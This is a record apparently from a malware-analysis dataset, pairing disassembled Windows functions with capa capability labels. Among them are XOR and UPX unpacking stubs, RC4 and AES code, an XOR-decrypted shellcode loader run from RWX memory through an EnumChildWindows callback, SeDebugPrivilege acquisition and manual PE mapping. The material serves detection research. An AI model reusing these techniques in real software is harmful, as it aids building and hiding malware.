joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x107f21dc
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x71221982
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401741
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov byte [ebp - 0x1c], al
mov byte [ebp - 9], 0
movzx eax, byte [ebp - 9]
cmp eax, 3
jg 0x4017da
mov byte [ebp - 0xa], 0
movzx eax, byte [ebp - 0xa]
cmp eax, 3
jg 0x4017d1
movzx ebx, byte [ebp - 9]
movzx edx, byte [ebp - 0xa]
movzx eax, byte [ebp - 9]
movzx ecx, byte [ebp - 0xa]
mov esi, dword [ebp + 0xc]
shl eax, 2
add eax, esi
add eax, ecx
movzx eax, byte [eax]
mov byte [ebp - 0x19], al
movzx eax, byte [ebp - 0x1c]
lea ecx, [eax*4]
movzx eax, byte [ebp - 9]
add eax, ecx
lea ecx, [eax*4]
movzx eax, byte [ebp - 0xa]
add eax, ecx
mov ecx, eax
mov eax, dword [ebp + 0x10]
add eax, ecx
movzx eax, byte [eax]
xor al, byte [ebp - 0x19]
mov byte [ebp - 0x19], al
mov ecx, dword [ebp + 0xc]
lea eax, [ebx*4]
add eax, ecx
add eax, edx
movzx edx, byte [ebp - 0x19]
mov byte [eax], dl
add byte [ebp - 0xa], 1
jmp 0x401760
add byte [ebp - 9], 1
jmp 0x401753
nop
add esp, 0x14
pop ebx
pop esi
pop ebp
ret

Function at 0x4017e2
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
movzx eax, byte [ebp - 9]
cmp eax, 3
jg 0x401847
mov byte [ebp - 0xa], 0
movzx eax, byte [ebp - 0xa]
cmp eax, 3
jg 0x401841
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ebx, dword [ebp + 8]
shl eax, 2
add eax, ebx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx edx, byte [eax + str.cw]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
jmp 0x4017fb
add byte [ebp - 9], 1
jmp 0x4017ee
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x4022ff
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov byte [ebp - 9], 0
movzx eax, byte [ebp - 9]
cmp eax, 3
jg 0x402364
mov byte [ebp - 0xa], 0
movzx eax, byte [ebp - 0xa]
cmp eax, 3
jg 0x40235e
movzx esi, byte [ebp - 0xa]
movzx ecx, byte [ebp - 9]
movzx eax, byte [ebp - 0xa]
movzx edx, byte [ebp - 9]
mov ebx, dword [ebp + 8]
shl eax, 2
add eax, ebx
add eax, edx
movzx eax, byte [eax]
movzx eax, al
movzx edx, byte [eax + 0x4071a0]
mov ebx, dword [ebp + 8]
lea eax, [esi*4]
add eax, ebx
add eax, ecx
mov byte [eax], dl
add byte [ebp - 0xa], 1
jmp 0x402318
add byte [ebp - 9], 1
jmp 0x40230b
nop
add esp, 0x10
pop ebx
pop esi
pop ebp
ret

Function at 0x402563
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
mov byte [ebp - 5], 0
movzx eax, byte [ebp - 5]
cmp eax, 0xf
jg 0x4025a2
movzx edx, byte [ebp - 5]
mov eax, dword [ebp + 8]
add eax, edx
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp + 8]
add edx, ecx
movzx ebx, byte [edx]
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp + 0xc]
add edx, ecx
movzx edx, byte [edx]
xor edx, ebx
mov byte [eax], dl
add byte [ebp - 5], 1
jmp 0x40256e
nop
add esp, 0x10
pop ebx
pop ebp
ret
Function at 0x4026f5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x3c
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jae 0x4027fc
cmp dword [ebp - 0x10], 0x10
jne 0x4027cd
mov eax, dword [ebp + 8]
add eax, 0xb0
mov ebx, dword [eax]
mov dword [ebp - 0x38], ebx
mov ebx, dword [eax + 4]
mov dword [ebp - 0x34], ebx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x30], ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
mov dword [esp], eax
call sym.Cipher_unsigned_char_____4__4___unsigned_char_const_
mov dword [ebp - 0x10], 0xf
cmp dword [ebp - 0x10], 0
js 0x4027c6
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
add eax, 0xb0
movzx eax, byte [eax]
cmp al, 0xff
jne 0x40279c
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
add eax, 0xb0
mov byte [eax], 0
jmp 0x4027c0
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, edx
add eax, 0xb0
movzx eax, byte [eax]
lea edx, [eax + 1]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
add eax, ecx
add eax, 0xb0
mov byte [eax], dl
jmp 0x4027c6
sub dword [ebp - 0x10], 1
jmp 0x402770
mov dword [ebp - 0x10], 0
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
add edx, ecx
movzx ebx, byte [edx]
lea ecx, [ebp - 0x20]
mov edx, dword [ebp - 0x10]
add edx, ecx
movzx edx, byte [edx]
xor edx, ebx
mov byte [eax], dl
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 1
jmp 0x40270a
nop
add esp, 0x3c
pop ebx
pop ebp
ret

Function at 0x402803
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call sym.___main
mov byte [ebp - 9], 0xa
mov dword [ebp - 0x10], 0x108
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], 0x406140
mov ecx, eax
call method.Shellcode.Shellcode_unsigned_char__int_
sub esp, 8
movzx edx, byte [ebp - 9]
lea eax, [ebp - 0x20]
mov dword [esp], edx
mov ecx, eax
call method.Shellcode.XOR_decrypt_unsigned_char_
sub esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._EnumChildWindows_12
sub esp, 0xc
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x402f90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409048
call sym._EnterCriticalSection_4
mov ebx, dword [0x409040]
sub esp, 4
test ebx, ebx
je 0x402fdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402fd4
test esi, esi
je 0x402fd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402fb0
mov dword [esp], 0x409048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4031c0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403210
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4032e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40324e
cmp eax, 4
jne 0x403270
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40325e
cmp edx, 4
je 0x40325e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004031c0
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x7e804781
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..tls
nop
mov ebx, 0x42f314
nop
mov ecx, 0x500e5b21
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10001730
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push edi
push ebx
push ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001747
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001778
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x10001774
cmp esi, eax
jae 0x10001778
sub edi, 1
movzx ecx, word [esi]
lea esi, [esi + ecx*2 + 2]
jne 0x10001764
cmp esi, eax
jb 0x1000177e
pop esi
pop edi
xor eax, eax
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x1000689f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100112a0]
jne 0x100068a9
repz ret
jmp fcn.10008a15

Function at 0x100087f6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000431a
and dword [ebp - 4], 0
cmp dword [0x100127ac], 0
mov ebx, eax
jne 0x100088a7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10008958
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10008958
push eax
call fcn.100042a8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100127ac], eax
call esi
push eax
call fcn.100042a8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100127b0], eax
call esi
push eax
call fcn.100042a8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100127b4], eax
call esi
push eax
call fcn.100042a8
pop ecx
mov dword [0x100127bc], eax
test eax, eax
je 0x100088a7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100042a8
pop ecx
mov dword [0x100127b8], eax
mov eax, dword [0x100127b8]
cmp eax, ebx
je 0x100088ff
cmp dword [0x100127bc], ebx
je 0x100088ff
push eax
call fcn.10004323
push dword [0x100127bc]
mov esi, eax
call fcn.10004323
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100088ff
test edi, edi
je 0x100088ff
call esi
test eax, eax
je 0x100088f6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100088f6
test byte [ebp - 0xc], 1
jne 0x100088ff
or dword [ebp + 0x10], 0x200000
jmp 0x10008938
mov eax, dword [0x100127b0]
cmp eax, ebx
je 0x10008938
push eax
call fcn.10004323
pop ecx
test eax, eax
je 0x10008938
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10008938
mov eax, dword [0x100127b4]
cmp eax, ebx
je 0x10008938
push eax
call fcn.10004323
pop ecx
test eax, eax
je 0x10008938
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100127ac]
call fcn.10004323
pop ecx
test eax, eax
je 0x10008958
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000895a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009980
Capabilities:
Encode data using xor

Disassembly:
push ecx
lea eax, [esp]
push esi
push eax
mov eax, dword [esp + 0x10]
mov dword [esp + 8], 0
call fcn.10009800
mov esi, eax
mov eax, dword [esp + 8]
add esp, 4
xor ecx, ecx
test esi, esi
jle 0x100099b7
mov dl, byte [ecx + eax]
sub dl, 0x24
xor dl, 0x25
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x100099a6
pop esi
pop ecx
ret

Function at 0x10009a00
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
push ebx
xor ebx, ebx
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 8]
push ecx
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push edx
push 0x80000001
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10009a61
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 4]
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push ebx
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov eax, dword [esp + 4]
push eax
sete bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
add esp, 0xc
ret

Function at 0x10009a70
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp + 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10009a8f
add esp, 0x1c
ret
lea ecx, [esp + 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 4]
push 0
push 0
push 0
lea edx, [esp + 0x14]
push edx
push 0
push eax
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10009aee
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add esp, 0x1c
ret
mov eax, 1
add esp, 0x1c
ret
Function at 0x10009b00
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x208
push ebp
mov ebp, dword [esp + 0x210]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xe]
push ecx
mov word [esp + 0x10], ax
call fcn.10002920
add esp, 0xc
cmp ebp, 0x40
jae 0x10009b48
push 0
push 0
push str.err1
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop ebp
add esp, 0x208
ret
mov edx, 0x5a4d
cmp word [esi], dx
je 0x10009b6d
push 0
push 0
push str.err2
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop ebp
add esp, 0x208
ret
push ebx
mov ebx, dword [esi + 0x3c]
lea eax, [ebx + 0xf8]
cmp ebp, eax
jge 0x10009b97
push 0
push 0
push str.err3
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
xor eax, eax
pop ebp
add esp, 0x208
ret
cmp dword [ebx + esi], 0x4550
je 0x10009bbc
push 0
push 0
push str.err4
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
xor eax, eax
pop ebp
add esp, 0x208
ret
movzx eax, word [ebx + esi + 0x16]
test eax, 0x2000
jne 0x10009cfe
test al, 2
je 0x10009cfe
mov ecx, 0xe0
cmp word [ebx + esi + 0x14], cx
jne 0x10009cfe
mov eax, dword [ebx + esi + 0x50]
mov ebp, dword [esp + 0x220]
mov dword [ebp], eax
test eax, eax
jne 0x10009c0f
push eax
push eax
push str.err6
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
xor eax, eax
pop ebp
add esp, 0x208
ret
push 0x40
push 0x1000
push eax
push 0
call dword [0x10012ba8]
mov dword [edi], eax
test eax, eax
je 0x10009cc8
mov edx, dword [ebp]
push edx
push 0
push eax
call fcn.10002920
mov eax, dword [ebx + esi + 0x54]
mov ecx, dword [edi]
push eax
push esi
push ecx
call fcn.10001ba0
mov edx, dword [edi]
xor ebp, ebp
mov dword [edx + 2], ebp
mov eax, dword [edi]
mov ecx, dword [eax + 0x3c]
mov edx, dword [esp + 0x234]
add eax, ecx
mov ecx, dword [esp + 0x230]
mov dword [ecx], eax
add eax, 0xf8
mov dword [edx], eax
mov eax, dword [ecx]
xor ecx, ecx
add esp, 0x18
xor ebx, ebx
cmp cx, word [eax + 6]
jae 0x10009cba
jmp 0x10009c80
mov edx, dword [esp + 0x21c]
mov eax, dword [edx]
mov ecx, dword [eax + ebp + 0x10]
mov edx, dword [eax + ebp + 0x14]
add eax, ebp
mov eax, dword [eax + 0xc]
add eax, dword [edi]
push ecx
add edx, esi
push edx
push eax
call fcn.10001ba0
mov ecx, dword [esp + 0x224]
mov edx, dword [ecx]
movzx eax, word [edx + 6]
inc ebx
add esp, 0xc
add ebp, 0x28
cmp ebx, eax
jl 0x10009c80
pop ebx
mov eax, 1
pop ebp
add esp, 0x208
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0xc]
push str.V_error_errid:_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea edx, [esp + 0x10]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
xor eax, eax
pop ebp
add esp, 0x208
ret
push 0
push 0
push str.err5
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
xor eax, eax
pop ebp
add esp, 0x208
ret
Function at 0x44b53d
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x18
mov al, byte [ecx]
and dword [esp + 0x14], 0
push ebx
push ebp
mov byte [edx], al
lea eax, [edx + 1]
push esi
mov dword [esp + 0x18], eax
push edi
mov dword [esp + 0x14], edx
mov esi, dword [esp + 0x14]
lea eax, [ecx + 1]
xor edi, edi
xor ebp, ebp
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
call fcn.0044b4e6
test eax, eax
je 0x44b696
lea ecx, [esp + 0x18]
call fcn.0044b4e6
lea ecx, [esp + 0x18]
test eax, eax
je 0x44b605
call fcn.0044b4e6
test eax, eax
je 0x44b5c7
push 4
xor edi, edi
pop ebx
lea ecx, [esp + 0x18]
call fcn.0044b4e6
lea edi, [eax + edi*2]
dec ebx
jne 0x44b59d
mov edx, dword [esp + 0x1c]
test edi, edi
je 0x44b5be
mov eax, edx
sub eax, edi
mov al, byte [eax]
mov byte [edx], al
jmp 0x44b5c1
mov byte [edx], 0
inc edx
jmp 0x44b6a8
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
movzx esi, byte [eax]
mov ecx, esi
and ecx, 1
inc eax
add ecx, 2
shr esi, 1
mov dword [esp + 0x18], eax
je 0x44b5fd
test ecx, ecx
je 0x44b691
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x44b5ef
jmp 0x44b68d
xor ebp, ebp
inc ebp
jmp 0x44b691
call fcn.0044b51c
test edi, edi
jne 0x44b63a
cmp eax, 2
jne 0x44b635
lea ecx, [esp + 0x18]
call fcn.0044b51c
mov edx, dword [esp + 0x1c]
mov edi, eax
test edi, edi
je 0x44b691
mov ecx, edx
sub ecx, esi
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
dec edi
jne 0x44b62a
jmp 0x44b68d
sub eax, 3
jmp 0x44b63d
sub eax, 2
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [ecx]
shl esi, 8
add esi, eax
inc ecx
mov dword [esp + 0x18], ecx
lea ecx, [esp + 0x18]
call fcn.0044b51c
mov ecx, eax
cmp esi, 0x7d00
jb 0x44b664
inc ecx
cmp esi, 0x500
jb 0x44b66d
inc ecx
cmp esi, 0x80
jae 0x44b678
add ecx, 2
mov edx, dword [esp + 0x1c]
test ecx, ecx
je 0x44b691
mov edi, edx
sub edi, esi
mov al, byte [edi]
mov byte [edx], al
inc edx
inc edi
dec ecx
jne 0x44b684
mov dword [esp + 0x1c], edx
xor edi, edi
inc edi
jmp 0x44b6ae
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov al, byte [ecx]
mov byte [edx], al
inc edx
inc ecx
mov dword [esp + 0x18], ecx
xor edi, edi
mov dword [esp + 0x1c], edx
test ebp, ebp
je 0x44b56d
sub edx, dword [esp + 0x14]
pop edi
mov eax, edx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44b833
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x44b865
mov al, byte [esp + 0x14]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [esp + 0x10]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x44b846
jmp 0x44b869
mov eax, dword [esp + 0x10]
test edi, edi
je 0x44b873
xor byte [esi], al
inc esi
dec edi
jne 0x44b86d
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
